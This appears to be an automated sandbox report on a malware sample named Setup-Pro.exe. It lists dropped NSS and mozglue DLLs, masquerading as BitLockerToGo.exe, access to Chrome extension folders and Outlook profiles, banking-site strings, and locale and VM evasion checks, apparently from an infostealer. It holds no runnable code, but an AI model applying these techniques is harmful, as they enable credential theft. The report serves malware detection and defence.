aws_ec2.KeyPairFormataws-cdk-lib.aws_ec2.VpcAttributesrelease of handle with refcount 0crypto/aes: output not full blockbytes.Buffer.Grow: negative countbytes.Reader.Seek: invalid whencetoo many levels of symbolic linksInitializeProcThreadAttributeListImage base beyond allowed addressThunk AddressOfData beyond limitsCentral Kurdish Iraq (ku-Arab-IQ)Norwegian (Bokmal) Norway (nb-NO)could not find signer certificateinvalid VS_VERSION_INFO block. %ssync: RUnlock of unlocked RWMutexslice bounds out of range [%x:%y]runtime: memory allocated by OS [misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of rangeruntime: type offset out of rangereflect: slice index out of rangereflect: NumOut of non-func type of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangereflect.Value.Equal: invalid Kind to pointer to array with length go package net: confVal.netCgo = application/x-www-form-urlencodedcrypto: requested hash function #Float.GobDecode: buffer too smallx509: invalid RSA public exponentx509: SAN rfc822Name is malformedx509: invalid extended key usagesSigEd25519 no Ed25519 collisions
Source: Setup-Pro.exe	String found in binary or memory: proto: oneof field has nil valueproto: don't know how to copy %vproto: required field %q not setproto: bad default uint32 %q: %vproto: bad default uint64 %q: %vstdtime is not time.Time, but %Ttimestamp: %#v before 0001-01-01timestamp: %#v after 10000-01-01instanceInitiatedShutdownBehavioraws-cdk-lib.aws_ec2.CfnNatGatewayaws-cdk-lib.aws_ec2.CfnNetworkAclattrNetworkInsightsAccessScopeArnaws-cdk-lib.aws_ec2.CfnPrefixListaws-cdk-lib.aws_ec2.CfnRouteTableaws-cdk-lib.aws_ec2.CfnVPNGatewayattrVerifiedAccessTrustProviderIdaws-cdk-lib.aws_ec2.Ipv6Addressesaws-cdk-lib.aws_ec2.MultipartBodyaws-cdk-lib.aws_ec2.PrivateSubnetaws-cdk-lib.aws_ec2.SecurityGroupaws-cdk-lib.aws_ec2.VpnConnectionWINDOWS_SERVER_2016_ENGLISH_TESLAWINDOWS_SERVER_2019_ENGLISH_TESLAaws-cdk-lib.aws_ec2.AclCidrConfigaws-cdk-lib.aws_ec2.AddressFamilyInstanceInitiatedShutdownBehaviorAttrNetworkInsightsAccessScopeArnaws-cdk-lib.aws_ec2.CfnRoutePropsAttrVerifiedAccessTrustProviderIdaws-cdk-lib.aws_ec2.GatewayConfigaws-cdk-lib.aws_ec2.IMachineImageaws-cdk-lib.aws_ec2.IPublicSubnetaws-cdk-lib.aws_ec2.InstanceClassaws-cdk-lib.aws_ec2.InstancePropsaws-cdk-lib.aws_ec2.KeyPairFormataws-cdk-lib.aws_ec2.VpcAttributesrelease of handle with refcount 0crypto/aes: output not full blockbytes.Buffer.Grow: negative countbytes.Reader.Seek: invalid whencetoo many levels of symbolic linksInitializeProcThreadAttributeListImage base beyond allowed addressThunk AddressOfData beyond limitsCentral Kurdish Iraq (ku-Arab-IQ)Norwegian (Bokmal) Norway (nb-NO)could not find signer certificateinvalid VS_VERSION_INFO block. %ssync: RUnlock of unlocked RWMutexslice bounds out of range [%x:%y]runtime: memory allocated by OS [misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of rangeruntime: type offset out of rangereflect: slice index out of rangereflect: NumOut of non-func type of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangereflect.Value.Equal: invalid Kind to pointer to array with length go package net: confVal.netCgo = application/x-www-form-urlencodedcrypto: requested hash function #Float.GobDecode: buffer too smallx509: invalid RSA public exponentx509: SAN rfc822Name is malformedx509: invalid extended key usagesSigEd25519 no Ed25519 collisions

Source: C:\Users\user\Desktop\Setup-Pro.exe

File read: C:\Users\user\Desktop\Setup-Pro.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Setup-Pro.exe "C:\Users\user\Desktop\Setup-Pro.exe"
Source: C:\Users\user\Desktop\Setup-Pro.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\Setup-Pro.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Setup-Pro.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: Setup-Pro.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Setup-Pro.exe

Static file information: File size 24551424 > 1048576

Source: Setup-Pro.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x92ce00
Source: Setup-Pro.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0xd56e00

Source: Setup-Pro.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: BitLockerToGo.exe, 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: BitLockerToGo.exe, 00000002.00000002.1858771961.000000006CEAF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: BitLockerToGo.pdb source: Setup-Pro.exe, 00000000.00000003.1507758122.000000000299A000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: BitLockerToGo.exe, 00000002.00000002.1858771961.000000006CEAF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: BitLockerToGo.exe, 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: BitLockerToGo.pdbGCTL source: Setup-Pro.exe, 00000000.00000003.1507758122.000000000299A000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03019C10 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_03019C10

Source: Setup-Pro.exe	Static PE information: section name: .symtab
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0301B035 push ecx; ret		2_2_0301B048
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCAB536 push ecx; ret		2_2_6CCAB549

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

2_2_03019C10

Source: C:\Users\user\Desktop\Setup-Pro.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_2-57178

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0300BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0300BE70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0300DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0300DA80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_03013EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_03013EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0300F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0300F6B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_030016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_030016D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_03014910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_03014910
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0300E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0300E430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0300DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0300DE10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0300ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	2_2_0300ED20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_03014570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	2_2_03014570
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_030138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	2_2_030138B0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03017ED0 GetSystemInfo,wsprintfA,

2_2_03017ED0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: AAFBAKEC.2.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: AAFBAKEC.2.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: AAFBAKEC.2.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: AAFBAKEC.2.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: AAFBAKEC.2.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: AAFBAKEC.2.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: AAFBAKEC.2.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: AAFBAKEC.2.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: AAFBAKEC.2.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: AAFBAKEC.2.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: AAFBAKEC.2.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: AAFBAKEC.2.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AAFBAKEC.2.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: AAFBAKEC.2.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware]H-4
Source: AAFBAKEC.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: AAFBAKEC.2.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Setup-Pro.exe, 00000000.00000002.1572696766.000000000053B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: AAFBAKEC.2.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0zZ
Source: AAFBAKEC.2.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: AAFBAKEC.2.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: AAFBAKEC.2.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: AAFBAKEC.2.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: AAFBAKEC.2.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: AAFBAKEC.2.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AAFBAKEC.2.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: AAFBAKEC.2.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: AAFBAKEC.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: AAFBAKEC.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: AAFBAKEC.2.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: AAFBAKEC.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: AAFBAKEC.2.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: AAFBAKEC.2.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_2-57163
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_2-57177
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_2-58342
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_2-57166
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_2-57183
